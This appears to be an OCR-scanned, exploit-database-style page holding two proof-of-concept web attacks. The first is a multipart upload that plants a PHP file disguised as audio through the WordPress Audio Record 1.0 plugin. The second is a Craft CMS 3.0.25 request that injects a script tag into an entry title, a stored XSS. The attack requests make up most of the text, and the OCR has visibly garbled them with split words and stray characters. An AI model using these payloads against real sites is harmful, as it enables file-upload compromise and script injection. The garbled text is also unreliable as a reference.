Content-Disposition: form-data: name="audio-filename"
Content-Length: 609

file.php

18311719029180117571501079851
Content-Disposition: form-data: name="audio-blob";
filename="blob"
Content-Type: audio/wav

<?php phpinfo():

18311719029180117571501079851
Content-Disposition: form-data: name="action"

save_record

Content-Disposition

—=18311719029180117571501079851
form-data; name="course_id"

undef ined

—————18311719029180117571501079851
form-data; name="unit_id"

Content-Disposition

undef ined

——18311719029180117571501079851—

WordPress Plugin
Audio Record

WordPress
Plugin Audio
Record 1.0

18-12-27

46054

Cross-Site Scripting

Craft CMS 3025 - Cross-Site
Scripting

POST /10.0.100.24/admin-pane |-
path/index.php?p=admin/act ions/entr ies/save-entry HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64)
Applellebit/537.36 (KHTML, Iike Gecko) Chrome/55.0.2883.87
Safari/537.36

Accept: application/json, text/javascript, =/*: =0.01
Accept-Language: tr-TR,tr;0=0.8,en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-ur lencoded: charset=UTF-8

enabled=1&f ieldsLocat ion=f ie|ds1428173416&CRAFT_CSRF_TOKEN=30fAr
izwnHjOchbSztLrD2ySnzmb, i ITRScwwq t vPKaGXY IVZN1PO
©BcGtXInjRfr fplCalkgbnfVMOwmEfPNIBVKYr tMSQsDEV3AYhbSN11BWEWFSNT i
ReM9Q3nAbYut55USDt dUvokmt 1DCs4AOmIYOUe 1Gx 1cmGd 1RzyOv3aTP3MsT 924
tNJEVFAFMBCF t cEgKxHOOWYZD8GAZk2aD | HVJHr MHOLTYz f 1S2Y2dJ 109i fBTOZJ
cJNkvQk83bcygPe64 IHjeB |s_0-qCtAB6—

nz8L79Jw3QRysr 5UK | E is62Wnt AUCGOuY_XDgr JADBxoV 1UdwEpKny00KkAasz
OUzyVXbr LuzWn063CawR |0PS6] gr 2Hj | BERbpOi nsVzELgi AbO7pxvJMOOFTP I _n
XFy19NgusHfufMzapUncmPLNxgn5yaN4mHz9Egt Y7ynUBYANTQp73e38 1bCTkd3z
vZtP-KJgUwqVPbAHQUVS_HWPDXVS02R-_i rNv | PeDAHaR6zdETXeK fLycZ70~
kJt1apo%3D&t i t le=%3Cscr ipt%3Ealer t("Raif_XSS")%3Ck2Fscr ipt%3E&fi
elds1428173416%58featured|mage%50=8f ields 14281734 16%5Bshor tDescr
iption%D=&f ie|ds1428173416%Bheadingk50=&f e |ds 14281734 16%5Bsub
heading%50=&f ie|ds1428173416%5Bar t icleBody%5D=8sect ion|d=2&typel

Craft CMS

Craft CMS
3.0.25




